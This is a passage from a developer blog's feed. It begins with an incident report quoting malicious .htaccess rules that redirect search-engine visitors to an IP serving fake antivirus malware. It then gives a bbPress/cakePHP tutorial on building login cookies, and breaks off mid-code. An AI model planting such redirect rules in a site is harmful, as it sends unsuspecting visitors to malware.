&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;RewriteCond&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; %{HTTP_REFERER}&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; .*yahoo.*&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; [OR]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;RewriteCond&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; %{HTTP_REFERER}&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; .*excite.*&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; [OR]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;RewriteCond&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; %{HTTP_REFERER}&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; .*altavista.*&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; [OR]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;RewriteCond&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; %{HTTP_REFERER}&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; .*msn.*&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; [OR]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;RewriteCond&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; %{HTTP_REFERER}&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; .*netscape.*&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; [OR]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;RewriteCond&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; %{HTTP_REFERER}&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; .*aol.*&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; [OR]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;RewriteCond&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; %{HTTP_REFERER}&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; .*hotbot.*&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; [OR]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;RewriteCond&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; %{HTTP_REFERER}&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; .*goto.*&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; [OR]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;RewriteCond&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; %{HTTP_REFERER}&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; .*infoseek.*&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; [OR]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;RewriteCond&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; %{HTTP_REFERER}&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; .*mamma.*&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; [OR]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;RewriteCond&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; %{HTTP_REFERER}&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; .*alltheweb.*&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; [OR]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;RewriteCond&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; %{HTTP_REFERER}&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; .*lycos.*&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; [OR]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;RewriteCond&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; %{HTTP_REFERER}&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; .*search.*&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; [OR]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;RewriteCond&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; %{HTTP_REFERER}&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; .*metacrawler.*&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; [OR]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;RewriteCond&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; %{HTTP_REFERER}&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; .*bing.*&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; [OR]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;RewriteCond&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; %{HTTP_REFERER}&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; .*dogpile.*&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;RewriteRule&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; ^(.*)$&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; http://217.23.5.232/hitin.php?land=20&amp;#x26;affid=20116&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; [R=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;301&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,L]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A little search online told me that this IP refer to a malware website launching
a fake Antivirus software installation.&lt;/p&gt;
&lt;p&gt;I have no idea how the &lt;code&gt;.htacces&lt;/code&gt;s got modified, but I changed the FTP password.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Integration of a bbPress forum into a cakePHP application (part 4)</title>
    <link href="https://blog.pixelastic.com/2010/02/17/integration-bbpress-forum-cakephp-application-part-4/"/>
    <updated>2010-02-17T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/02/17/integration-bbpress-forum-cakephp-application-part-4</id>
    <content type="html">&lt;p&gt;We&#39;re almost done. There is just one last thing we must do. We don&#39;t want our
dear user to have to login twice, once for the main app and once for the form,
do we?&lt;/p&gt;
&lt;h2&gt;Creating the Configure keys&lt;/h2&gt;
&lt;p&gt;So first, go back to your &lt;code&gt;bb-config.php&lt;/code&gt; file and if you haven&#39;t already,
define the &lt;code&gt;BB_AUTH_KEY&lt;/code&gt; and &lt;code&gt;BB_LOGGED_IN_KEY&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Go to your &lt;code&gt;app/config/bootstrap.php&lt;/code&gt; and create entries in &lt;code&gt;Configure&lt;/code&gt; for this
same keys. I named mine &lt;code&gt;bbPress.authKey&lt;/code&gt; and &lt;code&gt;bbPress.logKey&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Now, go back to your database, open the &lt;code&gt;bb_meta&lt;/code&gt; table and find the
&lt;code&gt;bb_auth_salt&lt;/code&gt; and &lt;code&gt;bb_loggued_in_salt&lt;/code&gt; values. Copy them to two more
&lt;code&gt;Configure&lt;/code&gt; keys (&lt;code&gt;bbPress.authSalt&lt;/code&gt; and &lt;code&gt;bbPress.logSalt&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;One last key to create. Head back to &lt;code&gt;bb-config.php&lt;/code&gt; and add the following line:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;define&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;BB_HASH&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;XXXXX&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Of course, set &lt;code&gt;XXXX&lt;/code&gt; to a unique string. The name of your website should
suffice, it is just used to differenciate between cookies on the same domain.
Report the same value in &lt;code&gt;Configure&lt;/code&gt;: &lt;code&gt;bbPress.hash&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Creating the cookies&lt;/h2&gt;
&lt;p&gt;You&#39;re now ready to create bbPress cookies. bbPress will need to create two
different sets of cookie.&lt;/p&gt;
&lt;p&gt;A bbPress cookie contain a value formatted like: &lt;code&gt;&amp;lt;login&amp;gt;|&amp;lt;expiration&amp;gt;|&amp;lt;hash&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;The hash is based on the user password, login, expiration and several other
keys. It also involve double hashing of the value, with different salt and key
values.&lt;/p&gt;
&lt;p&gt;I&#39;ve eased the pain of understanding how to create a cookie value, just use the
following function:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; __getCookieValue&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$options&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; array&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;()&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;   // We will need the login, pass and expiration date to create the cookie&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;   $userLogin&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $options&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;name&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;// The user login&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;   $userPass&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $options&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;password&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;// The password encrypted in the database&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;   $userPassFragment&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; substr&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$userPass&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;8&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;4&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;    // We will take only a small part of the password&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;   $expiration&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $options&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;expiration&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;   $data&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $userLogin&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$userPassFragment&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;|&quot;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$expiration&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;    // The main data that will be used create the final hash&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;   // We first get a first hash key that we will use to generate a second one&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;   $firstKey&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; hash_hmac&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;md5&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$data&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$options&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;salt&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;   // Then we create the final hash saved in the cookie&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;   $finalHash&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; hash_hmac&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;md5&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$userLogin&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;|&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$expiration&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$firstKey&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;   // The final data to store in the cookie&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;   return&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $userLogin&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;|&quot;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$expiration&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;|&quot;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$finalHash&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You should pass to this function an array containing a name, password and
expiration date. The password should be exactly as it is stored in the database.&lt;/p&gt;
&lt;p&gt;You should also pass a 4th value, named salt, that is different depending of the
type of cookie you&#39;re trying to create. For a auth cookie, use
&lt;code&gt;Configure::read(&#39;bbPress.authKey&#39;).Configure::read(&#39;bbPress.authSalt&#39;)&lt;/code&gt; and for
a log cookie, use
&lt;code&gt;Configure::read(&#39;bbPress.logKey&#39;).Configure::read(&#39;bbPress.logSalt&#39;)&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;You will need to create two log cookies (for &lt;code&gt;/&lt;/code&gt; and &lt;code&gt;/forum/&lt;/code&gt;) and three auth
cookies (for &lt;code&gt;/forum/bb-admin&lt;/code&gt;,&lt;code&gt;/forum/bb-plugins&lt;/code&gt; and &lt;code&gt;/forum/my-plugins&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;Here is the complete method for creating all these cookies. Just call it in your
app whenever your want to log the current user to the forum. Just feed it a user
and password.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;/**&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;*    createCookies&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;*    Create the cookies that can be used to connect to the bbPress forum&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;*    bbPress does a lot of complicating stuff with hashing when creating its cookie. We replicate it here&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;*&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;*    The content of the cookie is formed in the format username|expirationDate|hash&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;*&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;*    The hash part is the most difficult, it involve double hashing based on various salt and values&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;**/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; createCookies&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$name&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$pass&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $expirationDate&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; time&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;() &lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 1209600&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;// When the cookie should stop working (2 weeks)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt; // Getting the log in salt&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $completeSalt&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; Configure::&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;read&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;bbPress.logKey&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;Configure::&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;read&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;bbPress.logSalt&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt; // The log in cookie name&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $cookieName&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &quot;bbpress_logged_in_&quot;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;Configure::&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;read&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;bbPress.hash&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt; // Getting the value&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $cookieValue&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; __getCookieValue&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;array&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;   &#39;name&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $name&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;   &#39;password&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $pass&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;   &#39;salt&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $completeSalt&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;   &#39;expiration&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $expirationDate&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; ));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt; // Setting the cookie for the correct path&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; setcookie&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$cookieName&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$cookieValue&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$expirationDate&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;/&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span 